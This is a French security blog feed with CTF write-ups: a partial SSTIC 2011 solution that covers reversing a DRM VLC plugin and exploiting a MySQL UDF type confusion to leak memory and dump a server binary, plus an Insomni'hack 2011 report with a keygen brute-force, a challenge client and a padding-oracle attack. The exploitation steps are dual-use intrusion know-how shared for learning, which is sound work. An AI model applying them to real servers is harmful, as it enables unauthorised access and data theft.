Le fichier est ainsi composé de 3 tracks : une video, une piste son, et une piste apparemment inconnue. On peut extraire chacune de ces pistes en utilisant les méta-données du fichier, et en particulier les tables STSZ, STSC et STCO. L’algorithme d’extraction n’est pas bien complexe et peut être trouvé grâce aux spécifications.

La piste audio est en clair, mais pas très utile – quelque chose qui ressemble à des frappes sur un clavier. La vidéo est illisible, a priori chiffrée grâce à des DRM. Enfin, la piste 3 n’est autre qu’un fichier ELF !

Analyse du fichier ELF

Avec IDA, on s’aperçoit rapidement que le binaire n’est autre qu’un plugin VLC. En effet, il comporte tous les symboles propres à ce type de plugin.On suppose que ce plugin est nécessaire à la lecture de ladite vidéo. Les sources de VLC permettant de se rendre compte qu’il s’agit en fait d’une version modifiée du plugin officiel libmp4.so. Un certain nombre de fonctions ont été ajoutées :

• sstic_drm_init()
• sstic_read_secret1(char*dir, char* buf1)
• sstic_check_secret1(char*buf1)
• sstic_read_secret2(char*dir, char*buf2)
• sstic_check_secret2(char*buf2)
• sstic_lame_derive_key(char* bufKey, char* buf1, char* buf2)

Il est possible de débuger le plugin en le plaçant dans le dossier des librairies de VLC sur une machine Linux, puis en s’attachant à VLC avec GDB.

En gros, sstic_drm_init() est appelée dès l’initialisation du plugin, et est chargée d’appeler les fonctions suivantes. Le but de ce plugin est de déchiffrer la vidéo a l’aide d’une clé générée à partir de deux fichiers, secret1.dat et secret2.dat situés dans le dossier ~/sstic2011/. Voici un schéma expliquant l’algorithme reversé à grand coup d’IDA et Hex Rays :

Pour résumer :

• secret1.dat (32 octets) est lu, puis son emprunte MD5 est calculée et comparée avec une constante présente en dur dans le binaire
• secret2.dat (1024 octets) est lu, puis déchiffré à l’aide d’un algorithme symétrique maison (cf plus bas) et d’une clé fixe stockée. Le plaintext résultant est comparé à un plaintext lui aussi stocké en dur.
• Si les deux tests précédents réussissent, les 2 secrets originaux sont passés à la fonction sstic_lame_derive_key, qui ne fait que les xorrer pour finalement obtenir un secret de 32 octets (pour secret1.dat, qui fait 1024 octets, tous les blocs de 32 octet sont xorrés)
• Le secret résultant est utilisé comme une clé RC2 qui servira à déchiffrer chaque sample de la vidéo lors de sa lecture. Au passage, l’implémentation RC2 est la même que celle d’OpenSSL, pas de soucis de ce côté la.

Autrement dit, il nous faut nécessairement secret1 et secret2 si l’on veut déchiffrer la vidéo. C’est là que les choses se compliquent…

Secret2.dat : Crypto + MMX

Pour trouver secret2.dat, on remarque qu’il « suffit » d’inverser l’algorithme de déchiffrement implémenté dans la fonction « decrypt », pour trouver le chiffré qui donnera le bon clair une fois déchiffré. Cependant, il ne s’agit pas directement d’un algorithme standard… Celui-ci utilise massivement les instructions Intel MMX, qui manipulent des entiers sur 128 bits. Le code ASM est une horreur, et je ne parle pas du listing généré par Hex Rays…

Pas moins de 351 variables, plus de 2100 lignes de code, et des opérations logiques dans tous les sens. Miam ! Bon, on prend notre courage à deux mains, et on y va. Premièrement, on remarque l’utilisation de constantes un peu particulières.

for ( sum = 0x9E3779B9 * a3; ; sum += -0x9E3779B9u ) {

Notre ami Google nous indique qu’une boucle faisant intervenir de telles constantes est utilisée par les algorithmes TEA et XTEA. Cependant, ces algorithmes ont une taille de clé de 128 bits, et une taille de bloc de 64 bits, alors qu’ici, la clé fait 2048 octets…

Deuxièmement, on s’aperçoit qu’il y a beaucoup de code redondant dans ce listing. Cela est du à l’utilisation intensive des techniques de loop unrolling, qui consistent en gros à minimiser le nombre de tours dans une boucle en écrivant n fois la même instruction dans un tour (appliqué à des données différentes).

Troisièmement, en supposant qu’il s’agisse de l’algorithme TEA, la logique voudrait qu’on trouve des opérations + et -. Or ce n’est pas le cas ici ; on a affaire à des opérations logiques uniquement. Après on long moment de réflexion, je me suis rendu compte que ces opérations logiques servent en réalité à propager des retenues… utilisées justement lors des opérations d’addition et soustraction. On se rend ainsi compte que chaque addition a été remplacé par une série de xor, not et and équivalente au schéma suivant :

Additionneur

Attention, chaque fil ici représente non pas 1 bit, mais 128, soit 16 octets ! En gros, l’auteur du challenge a réimplémenté son propre + et – en recodant ces 2 opérations, prenant comme unité 128 bits de données. Soit !

En utilisant toutes ces information, et une bonne dose de motivation, j’ai pu confirmé qu’il s’agit bien de l’algorithme TEA, qui finalement n’est pas si complexe que ça (cf Wikipédia) :

void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
A la différence près que les uint32 de ce code doivent être remplacés par des blocs de 16 octets. Autrement dit, toutes les tailles doivent être multipliées par 4. Cela n’étant pas standard, il n’existe aucune librairie (à ma connaissance) faisant cela. Il est donc nécessaire de recoder l’opération encrypt() à la main !
Pour cela, j’ai copié/collé le code d’Hex Rays dans un fichier .c, puis je l’ai adapté afin qu’il compile dans un premier temps avec Visual Studio. Puis je l’ai optimisé en taille (suppression du loop unrolling). Et enfin, je l’ai inversé afin d’effectuer non pas un déchiffrement, mais un chiffrement.
On lance tout ça avec le plaintext et la clé tous deux stockés en dur dans le programme, et on obtient un secret2.dat valide. J’ai pu le confirmer en debuggant le plugin avec GDB, un breakpoint étant posé au bon endroit dans sstic_check_secret2(). Et une étape de passée !
Secret1.dat : MySQL, UDF and rock’n roll
Ici, contrairement à secret2.dat, nous ne disposons que du MD5 du fichier. Bruteforcer 32 octets étant une perte de temps, il doit donc y avoir un moyen de l’obtenir… J’ai séché pendant pas mal de temps, et c’est là que l’appel à un ami a servi (merci Dad) !
Ceux qui ont regardé le fichier original de la vidéo dans un éditeur auront certainement remarqué le « introduction.txt ». Il s’agit en réalité du nom d’un fichier texte qui a été gzipé et embarqué dans la vidéo. Malheureusement, il n’est pas en un seul bloc, mais en plusieurs, qui ont été éparpillées dans le fichier, aux endroits non utilisés (un fichier MP4 peut contenir du « vide »). Lors de notre opération d’extraction des pistes, nous nous sommes focalisés sur les données utiles du fichier. Et si nous faisions l’inverse ? Le fichier gzip peut être obtenu justement grâce à ce procédé, c’est-à-dire en suppriment tous les chunks non utilisés du fichier.
Une fois décompressé, on obtient la notice suivante :
Cher participant,
Le développeur étourdi d'un nouveau système de gestion de base de données
révolutionnaire a malencontreusement oublié quelques fichiers sur son serveur
web. Une partie des sources et des objets de ce SGBD pourraient se révéler
utile afin d'exploiter une éventuelle vulnérabilité.
Sauras-tu en tirer profit pour lire la clé présente dans le fichier
secret1.dat ?
url      : http://XX.XX.XX.XX/ login    : sstic2011 password : XXXXXXXX
--------------------------------------------------------------------------------
Toute attaque par déni de service est formellement interdite. Les organisateurs
du challenge se réservent le droit de bannir l'adresse IP de toute machine
effectuant un déni de service sur le serveur.
--------------------------------------------------------------------------------
On se connecte sur l’URL fournie, et on récupère trois fichiers :

udf.so
udf.c
lobster_dog.jpg (s’il s’agit d’une blague de l’auteur du challenge, je n’ai pas du la saisir  

UDF signifie User Defined Functions ; il s’agit de plugins MySQL permettant de rajouter des fonctions sur un serveur. Le port 3306 du serveur hébergeant ces fichiers est ouverts, et les mêmes identifiants fonctionnent. Il y a donc bien quelque chose à exploiter ici. Fouillons un peu :
mysql> select version();
+------------------+
| 1.3.337sstic2011 |
+------------------+
| 1.3.337sstic2011 |
+------------------+
1 row in set (0.56 sec)

mysql> show databases;
+----------+
| Database |
+----------+
|   system |
|    sstic |
+----------+
2 rows in set (0.22 sec)

mysql> use sstic;
Database changed
mysql> show tables;
+--------+
| Tables |
+--------+
|  users |
+--------+
1 row in set (0.20 sec)

mysql> select * from users;
+------+--------+----------------------------------+
| id   | login  | password                         |
+------+--------+----------------------------------+
| 0    | root   | 3e47b75000b0924b6c9ba5759a7cf15d |    => nothing
| 1    | guest  | a76637b62ea99acda12f5859313f539a |    => interesting
| 2    | nobody | 6c92285fa6d3e827b198d120ea3ac674 |    => here
| 3    | *      | 5058f1af8388633f609cadb75a75dc9d |    => .
+------+--------+----------------------------------+
4 rows in set (0.28 sec)

mysql> use system;
Database changed
mysql> show tables;
+-------------+
| Tables      |
+-------------+
| information |
+-------------+
1 row in set (0.23 sec)

mysql> select * from information;
+------------------+----------+
| version          | security |
+------------------+----------+
| 1.3.337sstic2011 | SECCOMP  |
+------------------+----------+
1 row in set (0.22 sec)
Visiblement SECCOMP est activé, ce qui nous empêchera d’effectuer des appels systèmes autres que read() et write() sur des fichiers déjà ouverts. Croisons donc les doigts pour que le serveur ouvre secret1.dat en lecture avant d’activer ce mode  
Une petite analyse du .c (analysé en partie sur ce blog) montre que celui-ci possède un bug dans la gestion d’un champ union, et est vulnérable à deux failles :

Une fuite d’information qui permet d’afficher n’importe quelle adresse mémoire
Une exécution de code à distance

Cependant, ces deux failles restents assez complexes à exploiter compte tenu du fait que nous sommes dans l’impossibilité de débugger le serveur distant, et que le udf.so donné ne parvient pas à se lancer sur un serveur MySQL standard. Au moindre problème, la connexion est coupée et il faut tout recommencer.
Toutefois, en exploitant la première faille et son bug de typage, on se rend compte que l’on peut obtenir des adresses mémoires :
mysql> select abs('lala');
+-----------+
| 153315552 |
+-----------+
| 153315552 |
+-----------+
1 row in set (0.59 sec)

mysql> select concat("", 153315552);
+------+
| lala |
+------+
| lala |
+------+
1 row in set (0.20 sec)
En réalité, 153315552 n’est pas directement l’adresse de la chaîne « lala », mais l’adresse de la structure « val » correspondante, qui ressemble à ceci :
struct val {
  int unknown;
  union value {
    int i;                    //4
    void * p;                 //4
  }
  int size;                   //8
  int *(expand)(val*);        //12
}
En gros, on peut demander à la fonction concat() de traiter une fausse structure située à une adresse choisie. Selon que l’on passe cette structure en 1er ou 2ème argument à la fonction, cela débouche soit sur une exécution de code (pointeur expand) ou sur une fuite (pointeur p).
Étant donné le caractère « blind » de cette exploitation, j’ai préféré dans un premier temps dumper le binaire du serveur MySQL. Celui-ci est chargé de façon standard à l’adresse 0×08048000. En forgeant une fausse structure et en la passant à substring(), elle aussi vulnérable, et en scriptant tout ça en python, et on récupère ce fameux binaire.
Seul soucis : celui-ci n’a aucun symbole et aucune table de section référencée. Impossible de le lancer, donc. En tout cas, on voit bien qu’il y a une référence à secret1.dat (les noms de fonction ne sont pas d’origine, mais ont été devinés).
int __cdecl my_open_secret1()
{
 int fd; // [sp+1Ch] [bp-Ch]@1

 fd = ((int (__cdecl *)(_DWORD, _DWORD))my_open)("secret1.dat", 0);
 if ( fd == -1 )
 sub_8048C28();
 return fd;
}
L’appel à open() est en réalité un appel à une fonction dans la section .plt du programme, qui utilise elle-même la section .got. Pour récupérer le code de cette fonction, j’ai utilisé toujours cette même faille de fuite d’information. Au final, l’adresse référencée est dans une librairie (adresse 0xb7XXXXXX). Son code est constitué d’instructions mov pour digitaliser des registres généraux, suivies d’un call *%gs:0×10, qui n’est autre qu’un appel système (le code appelé débouche certainement sur l’instruction sysenter ou int 0×80). La valeur d’eax, 5, permet de vérifier qu’il s’agit bien de sys_open. Le file descriptor retourné est stocké à l’adresse 0x0804F18C, est n’est autre que 3 (0, 1 et 2 correspondant respectivement à stdin, stdout et stderr).
Tout ce qu’il reste à faire, c’est donc trouver un moyen de faire exécuter un read() sur le file descriptor de secret1.dat afin de lire ses 32 octets qui nous manquent pour déchiffrer cette fichue vidéo. Seulement, je ne vois qu’une seule technique pour cela, et je n’ai pas eu le temps de la tester. La protection NX étant activée (pour s’en rendre compte il suffit de voire que l’exécution d’un ret situé dans le heap foire, alors qu’elle fonctionne dans la section .text), la seule solution reste à mon avis le Return Oriented Programming. Sauf que ne disposant ni d’une forte expérience dans cet art ancestral, ni d’une quantité de temps suffisante (les RSSIL approchent !), je n’ai pas eu le temps de creuser plus loin. Dommage, car j’ai vraiment l’impression d’être tout près du but… à un appel système près  . A supposer bien sûr que le déchiffrement de la vidéo est l’étape finale… (là, je sens comme un doute m’envahir)
To be continued
Comme l’année dernière, ce challenge réunit à la fois du parsing, du reverse engineering et de la crypto, mais en plus une partie exploitation de service à distance, sur laquelle j’ai buté. J’attends avec impatience la solution de l’étape manquante, à savoir la récupération de secret1.dat. En tout cas, je ne regrette pas avoir passé de nombreuses heures (jours, en fait) sur cette épreuve, qui m’aura fait quelques nœuds aux neurones.
]]>
			http://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/feed/
		5
		
		
		
		http://www.segmentationfault.fr/securite-informatique/insomnihack-2011/
		http://www.segmentationfault.fr/securite-informatique/insomnihack-2011/#comments
		Mon, 07 Mar 2011 23:38:43 +0000
		Emilien Girault
				
		

		http://www.segmentationfault.fr/?p=871
		
			Ce week-end s’est déroulé Insomni’hack 2011, événement de sécurité se tenant à Genève. 4h de conférences, 6h de challenges, une bonne organisation et une ambiance détendue, tout ce qu’il fallait pour passer une bonne soirée. Comme Bruno, je me lance dans un compte-rendu des conférences et du challenge.


[UPDATE 03/03/2011 : la résolution de l'épreuve du padding oracle a été présentée au dernier meeting HZV, les slides sont en ligne ici]
Conférences
Sourcing and Management in IT Security
L’événement commence par une conférence orientée RSSI présentée par Sébastien Bombal, ayant pour thème la gestion du sourcing en matière de sécurité. Celle-ci aborde les problèmes causés par la cascade de sous-traitance, depuis les débuts de l’out-sourcing jusqu’au cloud-computing, ainsi que les normes associées. Autant le dire tout de suite : cela n’étant pas mon domaine, je n’ai pas vraiment réussi à suivre de bout en bout…
Mobile Malware In Practice
Axelle Apvrille expose dans cette conférence 3 exemples de virus ciblant les smartphones, et plus précisément Symbian. Le message est clair : les concepteurs de virus ne développent pas leurs bestioles pour le fun, mais pour se faire de l’argent. Le principe KISS s’applique aussi aux malwares ! Les exemples montrés se contentent d’envoyer des SMS à des numéros surtaxés, ou d’intercepter des codes d’accès bancaire.  Ce que qui parait fou, c’est que dans certains cas, ces malwares sont mêmes signés par Symbian ! En effet, comme l’a soulignée la chercheuse, toutes les applications ne sont pas systématiquement analysée avant d’être déployées sur le marché. On apprécie aussi les API obscures de Symbian, telles que celle permettant à toute application de désactiver les messages de confirmation utilisateur lorsque celle-ci souhaite avoir accès à Internet, ou encore celle qui installe silencieusement une application…
La cryptographie
Avec un tel titre, tout le monde s’attendait à un cours de crypto à la sauce universitaire, bourrée de formules dans tous les sens. C’est d’ailleurs ce que semble proposer son auteur, Pascal Junod.
La crypto, c'est cool !
Mais heureusement, après avoir exposé son sommaire qui se révèle être factice, l’auteur dévoile le véritable but de la conférence : faire un état de l’art de la cryptographie actuelle et de ses échecs pratiques. Une présentation extrèmement intéressante, qui appuie où ça fait mal : l’implémentation des algorithmes de chiffrement, et leur choix. Tout y passe : La XBox et TEA, WEP et RC4, MD5, IPSEC en mode encrypt-only, suites de chiffrement TLS 1.0 avec des tailles de clés minuscules, le secure boot des TI (RSA-512 cassé en 73 jours par un quad-core), et même l’ultra-célèbre LM-hash. Que reste-t-il au final ? AES, SHA-2 (bientôt SHA-3), RSA-OAEP et RSA-PSS.
Mais c’est sans compter les attaques side-channels, qui regroupent timing-attacks, injection de fautes, mesures de consommation et d’émanations électro-magnétiques. Et ces dernières sont d’autant plus critiques sur les plate-formes embarquées. Pascal termine alors par un benchmark des librairies opensource de crypto implémentant RSA-OAEP, vis-à-vis de leur résistance à l’attaque de Manger. Et le résultat est pour le moins… alarmant.
Résultats du benchmark
Aucune librairie (pas même OpenSSL) n’est à ce jour complétement protégée, et il s’agit d’un véritable problème sur plateformes embarqués. La faute en partie aux multiples brevets détenus par des sociétés spécialisées disposant d’algorithmes side-channel-proof…
Les outils du mentalisme au service du social engineering
Dominique Clementi montre dans cette conférence comment le mentalisme peut aider un social-engineer à arriver à ses fins. Le but du mentaliste étant d’embrouiller (fuzzer, si je puis dire !) ses victimes pour leur faire admettre l’idée que quelque chose de surnaturel s’est produit. Ses armes : des gimmicks, des outils automatiques, et surtout beaucoup de psycologie. Entre autres : suggestion, PNL, forçage, hypnose, cold reading… Une conférence très sympa qui m’a beaucoup rappelé les quelques années durant lesquelles j’ai pratiqué le close-up (que je pratique toujours, mais très accessoirement).
ASP.NET et la sécurité du Viewstate
Alexandre Herzog expose les failles de sécurité concernant le composant Viewstate des plateformes IIS. Il s’agit d’une variable d’état envoyée entre le navigateur et le serveur qui recense entre autres les différents contrôles sérialisés d’une page Web. Celle-ci est généralement envoyée par le biais d’un champ caché, mais également par l’URL. Le problème se pose alors lorsque le filtrage de cette variable fait défaut côté serveur, et mène à des XSS volatiles. Heureusement, par défaut un HMAC est effectuée sur cette dernière, ce qui la rend tamper-proof, et c’est d’ailleurs ce qui est conseillé afin d’éviter les attaques. L’auteur montre par ailleurs que le module de validation de requêtes d’ASP.NET est inefficace sur cette dernière, car il possède des filtres très minimaux. Il en est de même pour certaines versions du module d’encodage HTML (équivalent de htmlentities()), qui ne filtre pas les apostrophes avant .NET 4…
 
Un filtre à toute épreuve... ou pas.
Reinventing Old School Security
Bruno Kerouanton termine en beauté par une conférence très axée old-school. Il y montre que la plupart des techniques de protections logicielles actuelles se basent sur celles utilisées par la demoscene à l’époque des MO5, Comodore 64 et autres Atari ST. Il faut dire que ça fait bizarre de voire de telles bestioles qui datent d’avant ma naissance  . Au programme : anti-debug, compression et obfuscation du code, utilisation du DMA, écriture entre les pistes des disquettes, et désynchronisation de l’écran pour pouvoir afficher une résolution plus grande que celle prévue (les prémices de la HD ?). On y découvre même les origines du fuzzing (utilisation d’opcodes non documentés), du GPGPU (utilisation du lecteur de disquette pour accélérer le traitement) et des hooks d’interruptions. Vraiment sympa !
Challenge
Cette année, 200 participants sont au rendez-vous pour le challenge ! Et cette fois, les équipes étaient autorisées ; c’est donc au sein de HZV que j’ai concouru. Cette année, SCRT a amélioré l’organisation en distribuant des badges RFID aux équipes afin d’accélérer la validation des points. Non, le pétage de ces badges ne faisait pas partie du challenge (et il n’aurait de toutes façon rien apporté  ). Par contre, gros point noir : comme l’année dernière, il n’y avait pas d’accès Internet. Seules les équipes prévoyantes (et disposant d’un forfait suisse) avaient prévues une connexion 3G…
Peu de temps après l’installation, l’interface contenant la liste des épreuves est disponible. Au programme : crypto, prog, réseau, reversing, stéganographie, et web. Voici un résumé de ce que j’ai pu faire.
Crypto 1
Ayant laissé le Web aux autres, je me suis personnellement acharné dans un premier temps sur les épreuves de crypto (personne ne voulait les faire…), à commencer par la première. Il s’agissait d’un texte chiffré, le but étant de le déchiffrer. Un indice : une table de fréquences de texte anglais traînait à côté du fichier, indiquant que certaines lettres était bien plus fréquentes que d’autres… La substitution mono-alphabétique était dont tout indiquée. Cependant, n’ayant pas retrouvé Cryptool tout de suite, je me suis galéré à calculer les fréquences du texte dans un premier temps en Python, et à commencer la substitution à la main, puis avec l’outil une fois retrouvé (ou comment perdre du temps lorsqu’on est pas réveillé). Finalement, le texte déchiffré n’était autre que le Hacker’s Manifesto, de The Mentor… Souvenir souvenir  .
Reverse 4
Il s’agissait d’une application Android à keygenner : validate.apk. On sort le SDK ainsi que dex2jar et jd-gui, et zou !
public void performCheck()
{
 if (this.mEditText_number != null);
 int k;
 try
 {
 String str1 = this.mEditText_number.getText().toString();
 Integer localInteger1 = Integer.valueOf(
    Integer.parseInt(str1.substring(0, 4)));
 Integer localInteger2 = Integer.valueOf(
    Integer.parseInt(str1.substring(4, 8)));
 byte[] arrayOfByte1 = { 76, 76, 147, 123, 103, 204, 141,
    120, 92, 234, 30, 66, 204, 234, 24, 92 };
 int i = localInteger1.intValue();
 int j = localInteger2.intValue();
 String str2 = Integer.valueOf(i + j).toString();
 byte[] arrayOfByte2 = getMD5(str2);
 k = 0;
 if (k >= 16)
 {
 label185: this.mEditText_number.setText("validated!");
 label201: return;
 }
 int l = arrayOfByte2[k];
 int i1 = arrayOfByte1[k];
 if (l == i1)
 break label241;
 label241: this.mEditText_number.setText("fail!");
 }
 catch (Exception localException)
 {
 localException.printStackTrace();
 break label201:
 k += 1;
 break label185:
 }
 }
}
Le code généré est un peu crado, mais on comprend très vite le traitement effectué. Le serial rentré doit être composé de chiffres, ceux-ci sont découpés en 2 groupes de 4 pour former 2 entiers, et le md5 de leur somme est ensuite comparé à une valeur constante. Autrement dit, il suffit de bruteforcer de la sorte en Python :
import md5
MAGIC = "4c4c937b67cc8d785cea1e42ccea185c"

for i in range(10000):
  for j in range(10000):
    if(md5.new(str(i+j)).hexdigest() == MAGIC):
      print i, j
Le résultat tombe au bout d’un dixième de seconde : MAGIC == MD5(« 6012″). Toute combinaison dont la somme fait 6012 est valide ; on choisit donc « 60120000″ qui fonctionne à merveille.
Programmation 4
Les épreuves les moins validées rapportant plus de points, je me suis lancé dans celle-ci. Il s’agissait de se connecter sur un port, et de résoudre un challenge 100 fois de suite. Celui-ci était simple : 4 séries de lettres A, B, C et D étaient affichées sous la forme d’un carré, avec une lettre par ligne remplacée par un X. Le but : répondre au serveur la liste des 4 lettres manquantes. Rien à voir avec le hack, mais fun quand même  . Voici le code du client qui résout l’épreuve (désolé, je n’ai pas celui du serveur) :
import socket

s = socket.socket()
s.connect(("epreuves2.insomni.hack", 4567))

def get_challenge():
  r = s.recv(4096).split("\n")[:-1]
  print r
  return [i.split() for i in r]

def solve_line(line):
  for i in range(4):
    l = chr(ord('A')+i)
    if(l not in line):
      return l

def solve_one_challenge():
  c = get_challenge()
  res =  "".join([' '.join(solve_line(c[i])) for i in range(4)])
  print res
  s.send(res+"\n")

for i in range(110):
  solve_one_challenge()
Oui, le programme crashe lamentablement une fois les 100 challenges résolus, et alors ? Le flag est bien retourné par le serveur et apparaît de façon bien visible (désolé, je n’ai pas de screenshot).
Crypto 2
A priori, on s’attend à un niveau légèrement plus élevé que la crypto 1. Que nenni, il s’agit en réalité d’une exploitation de Padding Oracle… En gros, elle consistait à déchiffrer un texte chiffré en 3DES utilisé en mode CBC avec un padding PKCS #5. Bien entendu, sans connaître la clé. Seules information disponible : on disposait d’une URL permettant de chiffrer un texte choisi, et une 2ème permettant de vérifier si le chiffrement était valide (comprendre padding) ou non. En d’autres termes, ce que l’on appelle un oracle de padding.
Je m’y étais intéressé vaguement il y a quelques mois, mais je n’avais à présent jamais réalisée en pratique. Faisable, me direz-vous… sauf que sans accès à Internet, cela l’est nettement moins. Je me suis donc acharné sur cette épreuve, en essayant de me souvenir des détails de l’algorithme de bruteforce intelligent. Au bout de plus de 2 heures, j’ai finalement abandonné. La suite plus bas dans cet article…
Web 1
Ne voulant pas rester sur un échec, je décide alors de donner un coup de main à mes collègues sur l’épreuve Web 1. Il s’agissait de générer le QR-code d’un billet pour une place dans un match qui se trouvait à un emplacement précis, un billet existant étant fourni. Armé de mon Android, le décodage du QR-code n’a pas pris longtemps,celui-ci contenait le numéro de place en clair, ainsi qu’un md5 calculé à partir de ce dernier. Le modifier semblait donc trivial. Le problème a commencé à se poser en ce qui concerne la génération du nouveau QR-code. De multiples bibliothèques existent, mais encore une fois, le problème de l’absence d’accès à Internet se faisait cruellement sentir… Jusqu’au moment ou un organisateur nous fasse remarquer qu’un outil (zxing) est visiblement disponible sur le repository dédié aux outils. Après avoir mis un bon quart d’heure à comprendre comment lancer l’interface flash de l’outil (aucun jar n’était fournit et nous ne disposions pas d’ant pour compiler les sources…) nous avons finalement réussi à générer une place valide.
Résultats du challenge
A 1h du matin, les scores sont freezés : l’équipe bles (l’équipe Nibbles était fragmenté en 2 teams Ni et bles…) arrive en tête, et HZv en 2ème. Nous restons toutefois très satisfaits de notre performance, vu que nous n’étions que 5, et relativement peu entraînés (première participation à un CTF pour 4 des participants), et sans accès Internet. Dans la table des scores qui suit, les breakthroughs correspondant aux épreuves qui ont été validées en 1er par la team en question.
Scores finaux (merci Shell-Storm !)
Padding Oracle, motherfucker, can you sploit it??
Ce n’est que le surlendemain, après avoir été hanté par l’épreuve crypto 2 (comme le lapin blanc de l’année dernière), que je m’y suis repenché sérieusement, lors de mon retour en France. Suite à une discussion avec le concepteur de l’épreuve, celui-ci a accepté de me fournir les sources et a accepté de les rendre publiques, ce qui était très sympathique de sa part. Ayant profité du week-end pour récupérer le papier exposant l’algorithme d’attaque (également repris ici), mon défi est alors de résoudre l’épreuve avant d’arriver Gare de Lyon (et que la batterie de mon laptop soit accessoirement épuisée).
Et finalement, j’y suis parvenu ! Le script decrypt.py brute-force l’oracle jusqu’à ce que le texte soit totalement déchiffré.
$ decrypt.py
107 100 14 189 34 129 105 16
45 183 29 222 187 198 199 73
186 149 253 197 187 249 250 132
122 234 55 178 99 117 171 142
C'est_bon_Peggy_je_gere!
Dans la foulée, j’ai réalisé une petite présentation que j’ai donnée au meeting HZV du samedi 2 avril. Les slides sont en ligne ici. Concernant le script, j’ai essayé de commenter suffisamment le script pour qu’il soit compréhensible. Et de toutes façon, je n’ai rien inventé puisque je me suis intégralement basé sur le papier cité ci-dessus.
En tout cas, on peut dire que ce challenge aura été riche en apprentissage. Je regrette juste que l’accès à Internet n’ait pas pu être donné, ou à défaut, un repository un peu plus fourni d’outils et de documentation… En tout cas bravo à l’équipe d’organisation, et à l’année prochaine !
]]>
			http://www.segmentationfault.fr/securite-informatique/insomnihack-2011/feed/
		4
		
		
		
		http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/
		http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/#comments
		Sun, 20 Jun 2010 20:28:31 +0000
		Emilien Girault
				
		

		http://www.segmentationfault.fr/?p=843
		
			La Nuit Du Hack 2010 est déjà finie… Courte et intense sont je pense les deux qualificatifs les plus adaptées à cet événement qui a battu une fois de plus ses records en terme de fréquentation. Je n’ai pas encore les chiffres exacts, mais nous avons enregistré pas moins de 600 entrées. Autant dire que la péniche Concorde Atlantique battait son plein… Comme Silkcut, je vais tenter de faire un petit résumé de l’événement, avec mon point de vue en tant que membre de l’équipe d’organisation.

[EDIT] Je viens de mettre en ligne mes slides ici. Toutes les autres sont dispos sur le site officiel.
[EDIT 2] Le challenge public a été mis en ligne sur cette page. Bonne chance à tous  
Préparation
Bien que l’événement ne dure qu’une nuit, il s’agit d’un travail de préparation de plusieurs mois. Outre le temps passé à rechercher des conférenciers et des ateliers, le développement du CTF et du challenge commun nous a pris plus d’un mois. Contrairement aux autres années, nous avions vraiment pris de l’avance sur l’organisation de l’événement, qui a débuté fin 2009.
En ce qui me concerne, j’étais chargé de gérer les conférences, et surtout veiller à ce que l’on ne prenne pas (trop) de retard sur le planning. J’ai fort heureusement été aidé par Silkcut et Vorex, sans qui je n’aurais probablement jamais réussi à gérer les deux tracks en simultané. Les ateliers étaient gérés par Heurs, les bars tenus par Crashfr, Pieuvre, Tr00ps, Freeman et Ginette, Olive s’occupait de l’organisation générale, John, Qbix et Philemon aux platines, Rosa, Cathy et Picon à l’accueil, pendant que Virtualabs, Sh4ka, Mysterie, Shell-storm, NiklosKoda et T0ka7a s’occupaient des challenges. Et encore, je suis sûr d’oublier à peu près la moitié des autres membres de l’équipe qui se sont investis dans l’installation de l’événement et son bon déroulement.
Conférences
N’ayant pu au final suivre que peu de conférences (sans cesse à courir partout pour gérer le timing et les imprévus) je ne pourrais malheureusement pas faire de résumé détaillé ici. Fort heureusement les slides seront bientôt publiées sur le site officiel. J’ai plus ou moins suivi la track 2 au rez-de chaussée, avec :

 Malwares Unix par Julien Reveret, où on apprend les facilités de propagation de codes malveillants qu’offrent ce type de plateforme
Xeek – XSS Easy Exploitation framework présentée par moi-même, où j’ai enfin publié l’outil sur lequel je bosse depuis un an. Le public a l’air d’avoir bien aimé la démo de xeekconsole, dommage que j’ai manqué de temps pour faire celle de xeekproxy. Je pensais faire un atelier à ce sujet, mais finalement je n’ai pas eu le temps. Les slides sont dispos ici, je rajouterai prochainement un tutorial d’installation/utilisation.
La sécurité antivirale est un échec, par Heurs, qui détruit le mythe de l’anti-virus en exposant une demi douzaine de vulnérabilités trouvées par fuzzing d’IOCTL, dont des 0-days, sur des solutions telles que Kaspersky, Bitdefender, Kerio, Comodo, etc.
Embedded Security par Geohot, une des guest-stars de l’événement, qui expose les mécanismes de sécurité des plateformes embarquées telles que les téléphones Nokia, l’iPhone et la PS3, et comment il est parvenu à toutes les faire tomber. Vraiment une excellent conférence… juste dommage que des problèmes vidéo nous aient empêchés de retransmettre la conférence à l’étage du dessus avec une qualité convenable.
Virtualisation et sécurité, par Emmanuel Istace, qui démontre que les deux ne sont pas synonymes, et qu’une fois de plus beaucoup de problèmes à ce sujet sont du à l’interface chaise-clavier…
Analyse avancée de la mémoire physique par Matthieu Suiche, qui expose les différentes techniques d’acquisition et d’analyse à l’aide des différents outils dont il est l’auteur : Win32dd, Moonsols Memory Toolkit
Lockpicking avancé par Cocolitos et Mr Jack, qui montrent par l’exemple différentes techniques d’ouverture de serrures de haute sécurité (certaines étant utilisées dans des coffres forts).

D’après les retours que j’ai eu, les conférences ont été bien appréciées. Quelques problèmes techniques ont été rencontrés : bug de micro, streaming de mauvaise qualité pour les confs de Geohot et Matthieu Suiche, coupure d’électricité… Je regrette vraiment ces problèmes qui font partie des aléas du direct (Murphy était parmi nous) et j’espère que cela n’aura pas trop embêté le public.
Je n’ai quasiment pas suivi les ateliers qui se déroulaient en parallèle aux confs et au CTF ; j’ai juste aperçu XavBox à son stand de puçage de console, NoCrash pour le lockpicking et Barbozor se préparant à tourner son premier épisode de la saison 3 de la grotte du barbu ayant pour thème le hacking de caddie…
Au final, les confs se terminent un peu après minuit (seulement une vingtaine de minutes de retard !), et laissent la place au challenge qui se déroule dans la cale.
Retrouvez toutes les slides sur le site officiel de la NDH.
Capture The Flag
